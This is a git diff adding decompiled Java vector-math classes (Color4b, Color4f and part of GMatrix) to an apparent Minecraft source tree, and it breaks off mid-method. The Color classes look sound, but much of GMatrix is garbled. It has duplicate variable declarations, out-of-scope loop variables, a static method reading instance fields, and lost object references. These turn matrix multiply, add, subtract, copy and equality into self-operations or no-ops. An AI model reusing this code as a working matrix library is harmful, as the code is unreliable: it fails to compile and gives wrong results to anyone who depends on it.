+++ b/src/minecraft/javax/vecmath/Color4b.java
@@ -0,0 +1,159 @@
+package javax.vecmath;
+
+import java.awt.Color;
+import java.io.Serializable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Color4b
+  extends Tuple4b
+  implements Serializable
+{
+  static final long serialVersionUID = -105080578052502155L;
+  
+  public Color4b(byte b1, byte b2, byte b3, byte b4)
+  {
+    super(b1, b2, b3, b4);
+  }
+  
+
+
+
+
+  public Color4b(byte[] c)
+  {
+    super(c);
+  }
+  
+
+
+
+
+
+  public Color4b(Color4b c1)
+  {
+    super(c1);
+  }
+  
+
+
+
+
+
+  public Color4b(Tuple4b t1)
+  {
+    super(t1);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public Color4b(Color color)
+  {
+    super((byte)color.getRed(), 
+      (byte)color.getGreen(), 
+      (byte)color.getBlue(), 
+      (byte)color.getAlpha());
+  }
+  
+
+
+
+
+
+
+
+
+  public Color4b() {}
+  
+
+
+
+
+
+
+
+
+  public final void set(Color color)
+  {
+    x = ((byte)color.getRed());
+    y = ((byte)color.getGreen());
+    z = ((byte)color.getBlue());
+    w = ((byte)color.getAlpha());
+  }
+  
+
+
+
+
+
+
+
+
+  public final Color get()
+  {
+    int r = x & 0xFF;
+    int g = y & 0xFF;
+    int b = z & 0xFF;
+    int a = w & 0xFF;
+    
+    return new Color(r, g, b, a);
+  }
+}
diff --git a/src/minecraft/javax/vecmath/Color4f.java b/src/minecraft/javax/vecmath/Color4f.java
new file mode 100644
index 0000000..342897a
--- /dev/null
+++ b/src/minecraft/javax/vecmath/Color4f.java
@@ -0,0 +1,162 @@
+package javax.vecmath;
+
+import java.awt.Color;
+import java.io.Serializable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Color4f
+  extends Tuple4f
+  implements Serializable
+{
+  static final long serialVersionUID = 8577680141580006740L;
+  
+  public Color4f(float x, float y, float z, float w)
+  {
+    super(x, y, z, w);
+  }
+  
+
+
+
+
+  public Color4f(float[] c)
+  {
+    super(c);
+  }
+  
+
+
+
+
+  public Color4f(Color4f c1)
+  {
+    super(c1);
+  }
+  
+
+
+
+
+  public Color4f(Tuple4f t1)
+  {
+    super(t1);
+  }
+  
+
+
+
+
+  public Color4f(Tuple4d t1)
+  {
+    super(t1);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public Color4f(Color color)
+  {
+    super(color.getRed() / 255.0F, color
+      .getGreen() / 255.0F, color
+      .getBlue() / 255.0F, color
+      .getAlpha() / 255.0F);
+  }
+  
+
+
+
+
+
+
+
+
+  public Color4f() {}
+  
+
+
+
+
+
+
+
+
+  public final void set(Color color)
+  {
+    x = (color.getRed() / 255.0F);
+    y = (color.getGreen() / 255.0F);
+    z = (color.getBlue() / 255.0F);
+    w = (color.getAlpha() / 255.0F);
+  }
+  
+
+
+
+
+
+
+
+
+  public final Color get()
+  {
+    int r = Math.round(x * 255.0F);
+    int g = Math.round(y * 255.0F);
+    int b = Math.round(z * 255.0F);
+    int a = Math.round(w * 255.0F);
+    
+    return new Color(r, g, b, a);
+  }
+}
diff --git a/src/minecraft/javax/vecmath/GMatrix.java b/src/minecraft/javax/vecmath/GMatrix.java
new file mode 100644
index 0000000..6fdebaf
--- /dev/null
+++ b/src/minecraft/javax/vecmath/GMatrix.java
@@ -0,0 +1,3007 @@
+package javax.vecmath;
+
+import java.io.PrintStream;
+import java.io.Serializable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class GMatrix
+  implements Serializable, Cloneable
+{
+  static final long serialVersionUID = 2777097312029690941L;
+  private static final boolean debug = false;
+  int nRow;
+  int nCol;
+  double[][] values;
+  private static final double EPS = 1.0E-10D;
+  
+  public GMatrix(int nRow, int nCol)
+  {
+    values = new double[nRow][nCol];
+    this.nRow = nRow;
+    this.nCol = nCol;
+    
+
+    for (int i = 0; i < nRow; i++) {
+      for (int j = 0; j < nCol; j++) {
+        values[i][j] = 0.0D;
+      }
+    }
+    int l;
+    int l;
+    if (nRow < nCol) {
+      l = nRow;
+    } else {
+      l = nCol;
+    }
+    for (i = 0; i < l; i++) {
+      values[i][i] = 1.0D;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public GMatrix(int nRow, int nCol, double[] matrix)
+  {
+    values = new double[nRow][nCol];
+    this.nRow = nRow;
+    this.nCol = nCol;
+    
+
+    for (int i = 0; i < nRow; i++) {
+      for (int j = 0; j < nCol; j++) {
+        values[i][j] = matrix[(i * nCol + j)];
+      }
+    }
+  }
+  
+
+
+
+
+
+  public GMatrix(GMatrix matrix)
+  {
+    nRow = nRow;
+    nCol = nCol;
+    values = new double[nRow][nCol];
+    
+
+    for (int i = 0; i < nRow; i++) {
+      for (int j = 0; j < nCol; j++) {
+        values[i][j] = values[i][j];
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+  public final void mul(GMatrix m1)
+  {
+    if ((nCol != nRow) || (nCol != nCol))
+    {
+      throw new MismatchedSizeException(VecMathI18N.getString("GMatrix0"));
+    }
+    double[][] tmp = new double[nRow][nCol];
+    
+    for (int i = 0; i < nRow; i++) {
+      for (int j = 0; j < nCol; j++) {
+        tmp[i][j] = 0.0D;
+        for (int k = 0; k < nCol; k++) {
+          tmp[i][j] += values[i][k] * values[k][j];
+        }
+      }
+    }
+    
+    values = tmp;
+  }
+  
+
+
+
+
+
+
+
+
+  public final void mul(GMatrix m1, GMatrix m2)
+  {
+    if ((nCol != nRow) || (nRow != nRow) || (nCol != nCol))
+    {
+      throw new MismatchedSizeException(VecMathI18N.getString("GMatrix1"));
+    }
+    double[][] tmp = new double[nRow][nCol];
+    
+    for (int i = 0; i < nRow; i++) {
+      for (int j = 0; j < nCol; j++) {
+        tmp[i][j] = 0.0D;
+        for (int k = 0; k < nCol; k++) {
+          tmp[i][j] += values[i][k] * values[k][j];
+        }
+      }
+    }
+    
+    values = tmp;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public final void mul(GVector v1, GVector v2)
+  {
+    if (nRow < v1.getSize())
+    {
+      throw new MismatchedSizeException(VecMathI18N.getString("GMatrix2"));
+    }
+    if (nCol < v2.getSize())
+    {
+      throw new MismatchedSizeException(VecMathI18N.getString("GMatrix3"));
+    }
+    for (int i = 0; i < v1.getSize(); i++) {
+      for (int j = 0; j < v2.getSize(); j++) {
+        values[i][j] = (values[i] * values[j]);
+      }
+    }
+  }
+  
+
+
+
+
+
+
+  public final void add(GMatrix m1)
+  {
+    if (nRow != nRow)
+    {
+      throw new MismatchedSizeException(VecMathI18N.getString("GMatrix4"));
+    }
+    if (nCol != nCol)
+    {
+      throw new MismatchedSizeException(VecMathI18N.getString("GMatrix5"));
+    }
+    for (int i = 0; i < nRow; i++) {
+      for (int j = 0; j < nCol; j++) {
+        values[i][j] += values[i][j];
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+  public final void add(GMatrix m1, GMatrix m2)
+  {
+    if (nRow != nRow)
+    {
+      throw new MismatchedSizeException(VecMathI18N.getString("GMatrix6"));
+    }
+    if (nCol != nCol)
+    {
+      throw new MismatchedSizeException(VecMathI18N.getString("GMatrix7"));
+    }
+    if ((nCol != nCol) || (nRow != nRow))
+    {
+      throw new MismatchedSizeException(VecMathI18N.getString("GMatrix8"));
+    }
+    for (int i = 0; i < nRow; i++) {
+      for (int j = 0; j < nCol; j++) {
+        values[i][j] += values[i][j];
+      }
+    }
+  }
+  
+
+
+
+
+
+
+  public final void sub(GMatrix m1)
+  {
+    if (nRow != nRow)
+    {
+      throw new MismatchedSizeException(VecMathI18N.getString("GMatrix9"));
+    }
+    if (nCol != nCol)
+    {
+      throw new MismatchedSizeException(VecMathI18N.getString("GMatrix28"));
+    }
+    for (int i = 0; i < nRow; i++) {
+      for (int j = 0; j < nCol; j++) {
+        values[i][j] -= values[i][j];
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+  public final void sub(GMatrix m1, GMatrix m2)
+  {
+    if (nRow != nRow)
+    {
+      throw new MismatchedSizeException(VecMathI18N.getString("GMatrix10"));
+    }
+    if (nCol != nCol)
+    {
+      throw new MismatchedSizeException(VecMathI18N.getString("GMatrix11"));
+    }
+    if ((nRow != nRow) || (nCol != nCol))
+    {
+      throw new MismatchedSizeException(VecMathI18N.getString("GMatrix12"));
+    }
+    for (int i = 0; i < nRow; i++) {
+      for (int j = 0; j < nCol; j++) {
+        values[i][j] -= values[i][j];
+      }
+    }
+  }
+  
+
+
+
+
+  public final void negate()
+  {
+    for (int i = 0; i < nRow; i++) {
+      for (int j = 0; j < nCol; j++) {
+        values[i][j] = (-values[i][j]);
+      }
+    }
+  }
+  
+
+
+
+
+
+
+  public final void negate(GMatrix m1)
+  {
+    if ((nRow != nRow) || (nCol != nCol))
+    {
+      throw new MismatchedSizeException(VecMathI18N.getString("GMatrix13"));
+    }
+    for (int i = 0; i < nRow; i++) {
+      for (int j = 0; j < nCol; j++) {
+        values[i][j] = (-values[i][j]);
+      }
+    }
+  }
+  
+
+
+
+
+  public final void setIdentity()
+  {
+    for (int i = 0; i < nRow; i++) {
+      for (int j = 0; j < nCol; j++) {
+        values[i][j] = 0.0D;
+      }
+    }
+    int l;
+    int l;
+    if (nRow < nCol) {
+      l = nRow;
+    } else {
+      l = nCol;
+    }
+    for (i = 0; i < l; i++) {
+      values[i][i] = 1.0D;
+    }
+  }
+  
+
+
+
+
+  public final void setZero()
+  {
+    for (int i = 0; i < nRow; i++) {
+      for (int j = 0; j < nCol; j++) {
+        values[i][j] = 0.0D;
+      }
+    }
+  }
+  
+
+
+
+
+
+
+  public final void identityMinus()
+  {
+    for (int i = 0; i < nRow; i++) {
+      for (int j = 0; j < nCol; j++) {
+        values[i][j] = (-values[i][j]);
+      }
+    }
+    int l;
+    int l;
+    if (nRow < nCol) {
+      l = nRow;
+    } else {
+      l = nCol;
+    }
+    for (i = 0; i < l; i++) {
+      values[i][i] += 1.0D;
+    }
+  }
+  
+
+
+
+
+  public final void invert()
+  {
+    invertGeneral(this);
+  }
+  
+
+
+
+
+
+  public final void invert(GMatrix m1)
+  {
+    invertGeneral(m1);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public final void copySubMatrix(int rowSource, int colSource, int numRow, int numCol, int rowDest, int colDest, GMatrix target)
+  {
+    if (this != target) {
+      for (int i = 0; i < numRow; i++) {
+        for (int j = 0; j < numCol; j++) {
+          values[(rowDest + i)][(colDest + j)] = values[(rowSource + i)][(colSource + j)];
+        }
+      }
+    }
+    
+    double[][] tmp = new double[numRow][numCol];
+    for (int i = 0; i < numRow; i++) {
+      for (int j = 0; j < numCol; j++) {
+        tmp[i][j] = values[(rowSource + i)][(colSource + j)];
+      }
+    }
+    for (i = 0; i < numRow; i++) {
+      for (int j = 0; j < numCol; j++) {
+        values[(rowDest + i)][(colDest + j)] = tmp[i][j];
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public final void setSize(int nRow, int nCol)
+  {
+    double[][] tmp = new double[nRow][nCol];
+    int maxRow;
+    int maxRow;
+    if (this.nRow < nRow) {
+      maxRow = this.nRow;
+    } else
+      maxRow = nRow;
+    int maxCol;
+    int maxCol; if (this.nCol < nCol) {
+      maxCol = this.nCol;
+    } else {
+      maxCol = nCol;
+    }
+    for (int i = 0; i < maxRow; i++) {
+      for (int j = 0; j < maxCol; j++) {
+        tmp[i][j] = values[i][j];
+      }
+    }
+    
+    this.nRow = nRow;
+    this.nCol = nCol;
+    
+    values = tmp;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public final void set(double[] matrix)
+  {
+    for (int i = 0; i < nRow; i++) {
+      for (int j = 0; j < nCol; j++) {
+        values[i][j] = matrix[(nCol * i + j)];
+      }
+    }
+  }
+  
+
+
+
+
+
+
+  public final void set(Matrix3f m1)
+  {
+    if ((nCol < 3) || (nRow < 3)) {
+      nCol = 3;
+      nRow = 3;
+      values = new double[nRow][nCol];
+    }
+    
+    values[0][0] = m00;
+    values[0][1] = m01;
+    values[0][2] = m02;
+    
+    values[1][0] = m10;
+    values[1][1] = m11;
+    values[1][2] = m12;
+    
+    values[2][0] = m20;
+    values[2][1] = m21;
+    values[2][2] = m22;
+    
+    for (int i = 3; i < nRow; i++) {
+      for (int j = 3; j < nCol; j++) {
+        values[i][j] = 0.0D;
+      }
+    }
+  }
+  
+
+
+
+
+  public final void set(Matrix3d m1)
+  {
+    if ((nRow < 3) || (nCol < 3)) {
+      values = new double[3][3];
+      nRow = 3;
+      nCol = 3;
+    }
+    
+    values[0][0] = m00;
+    values[0][1] = m01;
+    values[0][2] = m02;
+    
+    values[1][0] = m10;
+    values[1][1] = m11;
+    values[1][2] = m12;
+    
+    values[2][0] = m20;
+    values[2][1] = m21;
+    values[2][2] = m22;
+    
+    for (int i = 3; i < nRow; i++) {
+      for (int j = 3; j < nCol; j++) {
+        values[i][j] = 0.0D;
+      }
+    }
+  }
+  
+
+
+
+
+
+  public final void set(Matrix4f m1)
+  {
+    if ((nRow < 4) || (nCol < 4)) {
+      values = new double[4][4];
+      nRow = 4;
+      nCol = 4;
+    }
+    
+    values[0][0] = m00;
+    values[0][1] = m01;
+    values[0][2] = m02;
+    values[0][3] = m03;
+    
+    values[1][0] = m10;
+    values[1][1] = m11;
+    values[1][2] = m12;
+    values[1][3] = m13;
+    
+    values[2][0] = m20;
+    values[2][1] = m21;
+    values[2][2] = m22;
+    values[2][3] = m23;
+    
+    values[3][0] = m30;
+    values[3][1] = m31;
+    values[3][2] = m32;
+    values[3][3] = m33;
+    
+    for (int i = 4; i < nRow; i++) {
+      for (int j = 4; j < nCol; j++) {
+        values[i][j] = 0.0D;
+      }
+    }
+  }
+  
+
+
+
+
+  public final void set(Matrix4d m1)
+  {
+    if ((nRow < 4) || (nCol < 4)) {
+      values = new double[4][4];
+      nRow = 4;
+      nCol = 4;
+    }
+    
+    values[0][0] = m00;
+    values[0][1] = m01;
+    values[0][2] = m02;
+    values[0][3] = m03;
+    
+    values[1][0] = m10;
+    values[1][1] = m11;
+    values[1][2] = m12;
+    values[1][3] = m13;
+    
+    values[2][0] = m20;
+    values[2][1] = m21;
+    values[2][2] = m22;
+    values[2][3] = m23;
+    
+    values[3][0] = m30;
+    values[3][1] = m31;
+    values[3][2] = m32;
+    values[3][3] = m33;
+    
+    for (int i = 4; i < nRow; i++) {
+      for (int j = 4; j < nCol; j++) {
+        values[i][j] = 0.0D;
+      }
+    }
+  }
+  
+
+
+
+
+
+
+  public final void set(GMatrix m1)
+  {
+    if ((nRow < nRow) || (nCol < nCol)) {
+      nRow = nRow;
+      nCol = nCol;
+      values = new double[nRow][nCol];
+    }
+    
+    for (int i = 0; i < Math.min(nRow, nRow); i++) {
+      for (int j = 0; j < Math.min(nCol, nCol); j++) {
+        values[i][j] = values[i][j];
+      }
+    }
+    
+    for (i = nRow; i < nRow; i++) {
+      for (int j = nCol; j < nCol; j++) {
+        values[i][j] = 0.0D;
+      }
+    }
+  }
+  
+
+
+
+
+  public final int getNumRow()
+  {
+    return nRow;
+  }
+  
+
+
+
+
+  public final int getNumCol()
+  {
+    return nCol;
+  }
+  
+
+
+
+
+
+
+  public final double getElement(int row, int column)
+  {
+    return values[row][column];
+  }
+  
+
+
+
+
+
+
+
+  public final void setElement(int row, int column, double value)
+  {
+    values[row][column] = value;
+  }
+  
+
+
+
+
+
+  public final void getRow(int row, double[] array)
+  {
+    for (int i = 0; i < nCol; i++) {
+      array[i] = values[row][i];
+    }
+  }
+  
+
+
+
+
+
+  public final void getRow(int row, GVector vector)
+  {
+    if (vector.getSize() < nCol) {
+      vector.setSize(nCol);
+    }
+    for (int i = 0; i < nCol; i++) {
+      values[i] = values[row][i];
+    }
+  }
+  
+
+
+
+
+
+  public final void getColumn(int col, double[] array)
+  {
+    for (int i = 0; i < nRow; i++) {
+      array[i] = values[i][col];
+    }
+  }
+  
+
+
+
+
+
+
+  public final void getColumn(int col, GVector vector)
+  {
+    if (vector.getSize() < nRow) {
+      vector.setSize(nRow);
+    }
+    for (int i = 0; i < nRow; i++) {
+      values[i] = values[i][col];
+    }
+  }
+  
+
+
+
+
+
+  public final void get(Matrix3d m1)
+  {
+    if ((nRow < 3) || (nCol < 3)) {
+      m1.setZero();
+      if (nCol > 0) {
+        if (nRow > 0) {
+          m00 = values[0][0];
+          if (nRow > 1) {
+            m10 = values[1][0];
+            if (nRow > 2) {
+              m20 = values[2][0];
+            }
+          }
+        }
+        if (nCol > 1) {
+          if (nRow > 0) {
+            m01 = values[0][1];
+            if (nRow > 1) {
+              m11 = values[1][1];
+              if (nRow > 2) {
+                m21 = values[2][1];
+              }
+            }
+          }
+          if ((nCol > 2) && 
+            (nRow > 0)) {
+            m02 = values[0][2];
+            if (nRow > 1) {
+              m12 = values[1][2];
+              if (nRow > 2) {
+                m22 = values[2][2];
+              }
+            }
+          }
+        }
+      }
+    }
+    else {
+      m00 = values[0][0];
+      m01 = values[0][1];
+      m02 = values[0][2];
+      
+      m10 = values[1][0];
+      m11 = values[1][1];
+      m12 = values[1][2];
+      
+      m20 = values[2][0];
+      m21 = values[2][1];
+      m22 = values[2][2];
+    }
+  }
+  
+
+
+
+
+
+
+  public final void get(Matrix3f m1)
+  {
+    if ((nRow < 3) || (nCol < 3)) {
+      m1.setZero();
+      if (nCol > 0) {
+        if (nRow > 0) {
+          m00 = ((float)values[0][0]);
+          if (nRow > 1) {
+            m10 = ((float)values[1][0]);
+            if (nRow > 2) {
+              m20 = ((float)values[2][0]);
+            }
+          }
+        }
+        if (nCol > 1) {
+          if (nRow > 0) {
+            m01 = ((float)values[0][1]);
+            if (nRow > 1) {
+              m11 = ((float)values[1][1]);
+              if (nRow > 2) {
+                m21 = ((float)values[2][1]);
+              }
+            }
+          }
+          if ((nCol > 2) && 
+            (nRow > 0)) {
+            m02 = ((float)values[0][2]);
+            if (nRow > 1) {
+              m12 = ((float)values[1][2]);
+              if (nRow > 2) {
+                m22 = ((float)values[2][2]);
+              }
+            }
+          }
+        }
+      }
+    }
+    else {
+      m00 = ((float)values[0][0]);
+      m01 = ((float)values[0][1]);
+      m02 = ((float)values[0][2]);
+      
+      m10 = ((float)values[1][0]);
+      m11 = ((float)values[1][1]);
+      m12 = ((float)values[1][2]);
+      
+      m20 = ((float)values[2][0]);
+      m21 = ((float)values[2][1]);
+      m22 = ((float)values[2][2]);
+    }
+  }
+  
+
+
+
+
+
+  public final void get(Matrix4d m1)
+  {
+    if ((nRow < 4) || (nCol < 4)) {
+      m1.setZero();
+      if (nCol > 0) {
+        if (nRow > 0) {
+          m00 = values[0][0];
+          if (nRow > 1) {
+            m10 = values[1][0];
+            if (nRow > 2) {
+              m20 = values[2][0];
+              if (nRow > 3) {
+                m30 = values[3][0];
+              }
+            }
+          }
+        }
+        if (nCol > 1) {
+          if (nRow > 0) {
+            m01 = values[0][1];
+            if (nRow > 1) {
+              m11 = values[1][1];
+              if (nRow > 2) {
+                m21 = values[2][1];
+                if (nRow > 3) {
+                  m31 = values[3][1];
+                }
+              }
+            }
+          }
+          if (nCol > 2) {
+            if (nRow > 0) {
+              m02 = values[0][2];
+              if (nRow > 1) {
+                m12 = values[1][2];
+                if (nRow > 2) {
+                  m22 = values[2][2];
+                  if (nRow > 3) {
+                    m32 = values[3][2];
+                  }
+                }
+              }
+            }
+            if ((nCol > 3) && 
+              (nRow > 0)) {
+              m03 = values[0][3];
+              if (nRow > 1) {
+                m13 = values[1][3];
+                if (nRow > 2) {
+                  m23 = values[2][3];
+                  if (nRow > 3) {
+                    m33 = values[3][3];
+                  }
+                }
+              }
+            }
+          }
+        }
+      }
+    }
+    else {
+      m00 = values[0][0];
+      m01 = values[0][1];
+      m02 = values[0][2];
+      m03 = values[0][3];
+      
+      m10 = values[1][0];
+      m11 = values[1][1];
+      m12 = values[1][2];
+      m13 = values[1][3];
+      
+      m20 = values[2][0];
+      m21 = values[2][1];
+      m22 = values[2][2];
+      m23 = values[2][3];
+      
+      m30 = values[3][0];
+      m31 = values[3][1];
+      m32 = values[3][2];
+      m33 = values[3][3];
+    }
+  }
+  
+
+
+
+
+
+
+
+  public final void get(Matrix4f m1)
+  {
+    if ((nRow < 4) || (nCol < 4)) {
+      m1.setZero();
+      if (nCol > 0) {
+        if (nRow > 0) {
+          m00 = ((float)values[0][0]);
+          if (nRow > 1) {
+            m10 = ((float)values[1][0]);
+            if (nRow > 2) {
+              m20 = ((float)values[2][0]);
+              if (nRow > 3) {
+                m30 = ((float)values[3][0]);
+              }
+            }
+          }
+        }
+        if (nCol > 1) {
+          if (nRow > 0) {
+            m01 = ((float)values[0][1]);
+            if (nRow > 1) {
+              m11 = ((float)values[1][1]);
+              if (nRow > 2) {
+                m21 = ((float)values[2][1]);
+                if (nRow > 3) {
+                  m31 = ((float)values[3][1]);
+                }
+              }
+            }
+          }
+          if (nCol > 2) {
+            if (nRow > 0) {
+              m02 = ((float)values[0][2]);
+              if (nRow > 1) {
+                m12 = ((float)values[1][2]);
+                if (nRow > 2) {
+                  m22 = ((float)values[2][2]);
+                  if (nRow > 3) {
+                    m32 = ((float)values[3][2]);
+                  }
+                }
+              }
+            }
+            if ((nCol > 3) && 
+              (nRow > 0)) {
+              m03 = ((float)values[0][3]);
+              if (nRow > 1) {
+                m13 = ((float)values[1][3]);
+                if (nRow > 2) {
+                  m23 = ((float)values[2][3]);
+                  if (nRow > 3) {
+                    m33 = ((float)values[3][3]);
+                  }
+                }
+              }
+            }
+          }
+        }
+      }
+    }
+    else {
+      m00 = ((float)values[0][0]);
+      m01 = ((float)values[0][1]);
+      m02 = ((float)values[0][2]);
+      m03 = ((float)values[0][3]);
+      
+      m10 = ((float)values[1][0]);
+      m11 = ((float)values[1][1]);
+      m12 = ((float)values[1][2]);
+      m13 = ((float)values[1][3]);
+      
+      m20 = ((float)values[2][0]);
+      m21 = ((float)values[2][1]);
+      m22 = ((float)values[2][2]);
+      m23 = ((float)values[2][3]);
+      
+      m30 = ((float)values[3][0]);
+      m31 = ((float)values[3][1]);
+      m32 = ((float)values[3][2]);
+      m33 = ((float)values[3][3]);
+    }
+  }
+  
+
+
+  public final void get(GMatrix m1)
+  {
+    int nc;
+    
+
+    int nc;
+    
+    if (nCol < nCol) {
+      nc = nCol;
+    } else
+      nc = nCol;
+    int nr;
+    int nr; if (nRow < nRow) {
+      nr = nRow;
+    } else {
+      nr = nRow;
+    }
+    for (int i = 0; i < nr; i++) {
+      for (int j = 0; j < nc; j++) {
+        values[i][j] = values[i][j];
+      }
+    }
+    for (i = nr; i < nRow; i++) {
+      for (int j = 0; j < nCol; j++) {
+        values[i][j] = 0.0D;
+      }
+    }
+    for (int j = nc; j < nCol; j++) {
+      for (i = 0; i < nr; i++) {
+        values[i][j] = 0.0D;
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+  public final void setRow(int row, double[] array)
+  {
+    for (int i = 0; i < nCol; i++) {
+      values[row][i] = array[i];
+    }
+  }
+  
+
+
+
+
+
+
+
+  public final void setRow(int row, GVector vector)
+  {
+    for (int i = 0; i < nCol; i++) {
+      values[row][i] = values[i];
+    }
+  }
+  
+
+
+
+
+
+
+
+  public final void setColumn(int col, double[] array)
+  {
+    for (int i = 0; i < nRow; i++) {
+      values[i][col] = array[i];
+    }
+  }
+  
+
+
+
+
+
+
+
+  public final void setColumn(int col, GVector vector)
+  {
+    for (int i = 0; i < nRow; i++) {
+      values[i][col] = values[i];
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  public final void mulTransposeBoth(GMatrix m1, GMatrix m2)
+  {
+    if ((nRow != nCol) || (nRow != nCol) || (nCol != nRow))
+    {
+      throw new MismatchedSizeException(VecMathI18N.getString("GMatrix14"));
+    }
+    if ((m1 == this) || (m2 == this)) {
+      double[][] tmp = new double[nRow][nCol];
+      for (int i = 0; i < nRow; i++) {
+        for (int j = 0; j < nCol; j++) {
+          tmp[i][j] = 0.0D;
+          for (int k = 0; k < nRow; k++) {
+            tmp[i][j] += values[k][i] * values[j][k];
+          }
+        }
+      }
+      values = tmp;
+    } else {
+      for (int i = 0; i < nRow; i++) {
+        for (int j = 0; j < nCol; j++) {
+          values[i][j] = 0.0D;
+          for (int k = 0; k < nRow; k++) {
+            values[i][j] += values[k][i] * values[j][k];
+          }
+        }
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public final void mulTransposeRight(GMatrix m1, GMatrix m2)
+  {
+    if ((nCol != nCol) || (nCol != nRow) || (nRow != nRow))
+    {
+      throw new MismatchedSizeException(VecMathI18N.getString("GMatrix15"));
+    }
+    if ((m1 == this) || (m2 == this)) {
+      double[][] tmp = new double[nRow][nCol];
+      for (int i = 0; i < nRow; i++) {
+        for (int j = 0; j < nCol; j++) {
+          tmp[i][j] = 0.0D;
+          for (int k = 0; k < nCol; k++) {
+            tmp[i][j] += values[i][k] * values[j][k];
+          }
+        }
+      }
+      values = tmp;
+    } else {
+      for (int i = 0; i < nRow; i++) {
+        for (int j = 0; j < nCol; j++) {
+          values[i][j] = 0.0D;
+          for (int k = 0; k < nCol; k++) {
+            values[i][j] += values[i][k] * values[j][k];
+          }
+        }
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public final void mulTransposeLeft(GMatrix m1, GMatrix m2)
+  {
+    if ((nRow != nRow) || (nCol != nCol) || (nRow != nCol))
+    {
+      throw new MismatchedSizeException(VecMathI18N.getString("GMatrix16"));
+    }
+    if ((m1 == this) || (m2 == this)) {
+      double[][] tmp = new double[nRow][nCol];
+      for (int i = 0; i < nRow; i++) {
+        for (int j = 0; j < nCol; j++) {
+          tmp[i][j] = 0.0D;
+          for (int k = 0; k < nRow; k++) {
+            tmp[i][j] += values[k][i] * values[k][j];
+          }
+        }
+      }
+      values = tmp;
+    } else {
+      for (int i = 0; i < nRow; i++) {
+        for (int j = 0; j < nCol; j++) {
+          values[i][j] = 0.0D;
+          for (int k = 0; k < nRow; k++) {
+            values[i][j] += values[k][i] * values[k][j];
+          }
+        }
+      }
+    }
+  }
+  
+
+
+
+
+
+
+  public final void transpose()
+  {
+    if (nRow != nCol)
+    {
+      int i = nRow;
+      nRow = nCol;
+      nCol = i;
+      double[][] tmp = new double[nRow][nCol];
+      for (i = 0; i < nRow; i++) {
+        for (int j = 0; j < nCol; j++) {
+          tmp[i][j] = values[j][i];
+        }
+      }
+      values = tmp;
+    }
+    else {
+      for (int i = 0; i < nRow; i++) {
+        for (int j = 0; j < i; j++) {
+          double swap = values[i][j];
+          values[i][j] = values[j][i];
+          values[j][i] = swap;
+        }
+      }
+    }
+  }
+  
+
+
+
+
+
+
+  public final void transpose(GMatrix m1)
+  {
+    if ((nRow != nCol) || (nCol != nRow))
+    {
+      throw new MismatchedSizeException(VecMathI18N.getString("GMatrix17"));
+    }
+    if (m1 != this) {
+      for (int i = 0; i < nRow; i++) {
+        for (int j = 0; j < nCol; j++) {
+          values[i][j] = values[j][i];
+        }
+      }
+    }
+    transpose();
+  }
+  
+
+
+
+
+
+  public String toString()
+  {
+    StringBuffer buffer = new StringBuffer(nRow * nCol * 8);
+    
+
+
+    for (int i = 0; i < nRow; i++) {
+      for (int j = 0; j < nCol; j++) {
+        buffer.append(values[i][j]).append(" ");
+      }
+      buffer.append("\n");
+    }
+    
+    return buffer.toString();
+  }
+  
+
+
+  private static void checkMatrix(GMatrix m)
+  {
+    for (int i = 0; i < nRow; i++) {
+      for (int j = 0; j < nCol; j++) {
+        if (Math.abs(values[i][j]) < 1.0E-10D) {
+          System.out.print(" 0.0     ");
+        } else {
+          System.out.print(" " + values[i][j]);
+        }
+      }
+      System.out.print("\n");
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  public int hashCode()
+  {
+    long bits = 1L;
+    
+    bits = 31L * bits + nRow;
+    bits = 31L * bits + nCol;
+    
+    for (int i = 0; i < nRow; i++) {
+      for (int j = 0; j < nCol; j++) {
+        bits = 31L * bits + VecMathUtil.doubleToLongBits(values[i][j]);
+      }
+    }
+    
+    return (int)(bits ^ bits >> 32);
+  }
+  
+
+
+
+
+
+
+
+
+  public boolean equals(GMatrix m1)
+  {
+    try
+    {
+      if ((nRow != nRow) || (nCol != nCol)) {
+        return false;
+      }
+      for (int i = 0; i < nRow; i++) {
+        for (int j = 0; j < nCol; j++) {
+          if (values[i][j] != values[i][j])
+            return false;
+        }
+      }
+      return true;
+    }
+    catch (NullPointerException e2) {}
+    return false;
+  }
+  
+
+
+
+
+
+
+
+  public boolean equals(Object o1)
+  {
+    try
+    {
+      GMatrix m2 = (GMatrix)o1;
+      
+      if ((nRow != nRow) || (nCol != nCol)) {
+        return false;
+      }
+      for (int i = 0; i < nRow; i++) {
+        for (int j = 0; j < nCol; j++) {
+          if (values[i][j] != values[i][j])
+            return false;
+        }
+      }
+      return true;
+    }
+    catch (ClassCastException e1) {
+      return false;
+    }
+    catch (NullPointerException e2) {}
+    return false;
+  }
+  
+  /**
+   * @deprecated
+   */
+  public boolean epsilonEquals(GMatrix m1, float epsilon)
+  {
+    return epsilonEquals(m1, epsilon);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public boolean epsilonEquals(GMatrix m1, double epsilon)
+  {
+    if ((nRow != nRow) || (nCol != nCol)) {
+      return false;
+    }
+    for (int i = 0; i < nRow; i++) {
